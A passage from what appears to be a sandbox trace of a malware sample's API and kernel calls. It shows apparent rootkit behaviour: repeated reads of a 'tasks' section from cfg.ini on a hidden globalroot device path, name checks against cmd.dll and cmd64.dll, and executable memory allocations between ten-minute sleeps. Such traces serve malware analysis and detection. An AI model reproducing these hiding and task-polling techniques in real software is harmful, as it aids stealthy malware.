_Dest="0d24eb7c\\cfg.ini") returned 16 [0123.416] KeEnterCriticalRegion () [0123.417] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.417] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a4000 [0123.417] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.417] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.417] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.417] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.417] IdePortDispatch () returned 0x103 [0123.417] KeWaitForMutexObject () returned 0x0 [0123.417] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.417] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.417] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.417] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.417] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.417] IdePortDispatch () returned 0x103 [0123.417] KeWaitForMutexObject () returned 0x0 [0123.417] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.417] KeLeaveCriticalRegion () [0123.417] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.418] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.418] KeEnterCriticalRegion () [0123.418] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.418] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.418] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.418] KeLeaveCriticalRegion () [0123.418] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.418] KeEnterCriticalRegion () [0123.418] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.418] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.418] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb700, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.418] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.418] KeLeaveCriticalRegion () [0123.418] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.418] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.418] KeEnterCriticalRegion () [0123.418] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.418] ExFreePoolWithTag (P=0xfffffa8003bebdf0, Tag=0x0) [0123.418] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.418] KeLeaveCriticalRegion () [0123.418] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.418] ReleaseMutex (hMutex=0xf0) returned 1 [0123.418] Sleep (dwMilliseconds=0x927c0) [0123.432] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.432] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.432] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.432] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.432] KeEnterCriticalRegion () [0123.432] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.432] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.432] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.432] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.432] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.432] IdePortDispatch () returned 0x103 [0123.432] KeWaitForMutexObject () returned 0x0 [0123.432] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.432] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.432] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.432] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.432] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.432] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bebb40 [0123.432] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.432] KeLeaveCriticalRegion () [0123.432] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.432] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.432] KeEnterCriticalRegion () [0123.432] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.432] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.432] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.432] KeLeaveCriticalRegion () [0123.432] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.432] KeEnterCriticalRegion () [0123.432] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.432] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.432] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.433] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.433] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.433] IdePortDispatch () returned 0x103 [0123.433] KeWaitForMutexObject () returned 0x0 [0123.433] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.433] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.433] KeLeaveCriticalRegion () [0123.433] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.433] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.433] KeEnterCriticalRegion () [0123.433] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.433] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a9000 [0123.433] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.433] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.433] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.433] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.433] IdePortDispatch () returned 0x103 [0123.433] KeWaitForMutexObject () returned 0x0 [0123.433] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.433] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.433] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.433] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.433] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.433] IdePortDispatch () returned 0x103 [0123.433] KeWaitForMutexObject () returned 0x0 [0123.434] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.434] KeLeaveCriticalRegion () [0123.434] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.434] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.434] KeEnterCriticalRegion () [0123.434] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.434] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.434] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.434] KeLeaveCriticalRegion () [0123.434] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.434] KeEnterCriticalRegion () [0123.434] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.434] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.434] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bea510, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.435] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.435] KeLeaveCriticalRegion () [0123.435] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.435] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.435] KeEnterCriticalRegion () [0123.435] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.435] ExFreePoolWithTag (P=0xfffffa8003bebb40, Tag=0x0) [0123.435] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.435] KeLeaveCriticalRegion () [0123.435] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.435] ReleaseMutex (hMutex=0xf0) returned 1 [0123.435] Sleep (dwMilliseconds=0x927c0) [0123.449] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.449] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.449] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.449] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.449] KeEnterCriticalRegion () [0123.449] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.449] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.449] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.449] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.449] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.450] IdePortDispatch () returned 0x103 [0123.450] KeWaitForMutexObject () returned 0x0 [0123.450] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.450] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.450] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.450] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.450] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.450] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003239e90 [0123.450] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.450] KeLeaveCriticalRegion () [0123.450] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.450] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.450] KeEnterCriticalRegion () [0123.450] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.450] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.450] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.450] KeLeaveCriticalRegion () [0123.450] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.450] KeEnterCriticalRegion () [0123.450] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.450] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.450] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.450] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.450] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.450] IdePortDispatch () returned 0x103 [0123.450] KeWaitForMutexObject () returned 0x0 [0123.450] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.450] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.450] KeLeaveCriticalRegion () [0123.450] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.451] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.451] KeEnterCriticalRegion () [0123.451] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.451] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ae000 [0123.451] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.451] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.451] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.451] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.451] IdePortDispatch () returned 0x103 [0123.451] KeWaitForMutexObject () returned 0x0 [0123.451] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.451] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.451] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.451] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.451] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.451] IdePortDispatch () returned 0x103 [0123.451] KeWaitForMutexObject () returned 0x0 [0123.451] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.451] KeLeaveCriticalRegion () [0123.451] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.452] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.452] KeEnterCriticalRegion () [0123.452] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.452] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.452] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.452] KeLeaveCriticalRegion () [0123.452] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.452] KeEnterCriticalRegion () [0123.452] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.452] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.452] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb260, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.452] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.452] KeLeaveCriticalRegion () [0123.452] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.452] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.452] KeEnterCriticalRegion () [0123.452] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.452] ExFreePoolWithTag (P=0xfffffa8003239e90, Tag=0x0) [0123.452] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.452] KeLeaveCriticalRegion () [0123.452] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.452] ReleaseMutex (hMutex=0xf0) returned 1 [0123.452] Sleep (dwMilliseconds=0x927c0) [0123.467] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.467] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.467] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.467] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.467] KeEnterCriticalRegion () [0123.467] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.467] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.467] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.467] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.467] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.467] IdePortDispatch () returned 0x103 [0123.467] KeWaitForMutexObject () returned 0x0 [0123.467] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.467] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.467] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.467] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.467] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.467] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beb8e0 [0123.467] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.467] KeLeaveCriticalRegion () [0123.467] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.467] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.467] KeEnterCriticalRegion () [0123.467] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.468] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.468] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.468] KeLeaveCriticalRegion () [0123.468] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.468] KeEnterCriticalRegion () [0123.468] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.468] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.468] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.468] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.468] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.468] IdePortDispatch () returned 0x103 [0123.468] KeWaitForMutexObject () returned 0x0 [0123.468] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.468] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.468] KeLeaveCriticalRegion () [0123.468] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.468] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.468] KeEnterCriticalRegion () [0123.468] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.468] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b7000 [0123.468] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.468] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.468] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.468] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.468] IdePortDispatch () returned 0x103 [0123.468] KeWaitForMutexObject () returned 0x0 [0123.468] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.468] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.468] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.468] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.469] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.469] IdePortDispatch () returned 0x103 [0123.469] KeWaitForMutexObject () returned 0x0 [0123.469] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.469] KeLeaveCriticalRegion () [0123.469] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.469] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.469] KeEnterCriticalRegion () [0123.469] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.469] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, 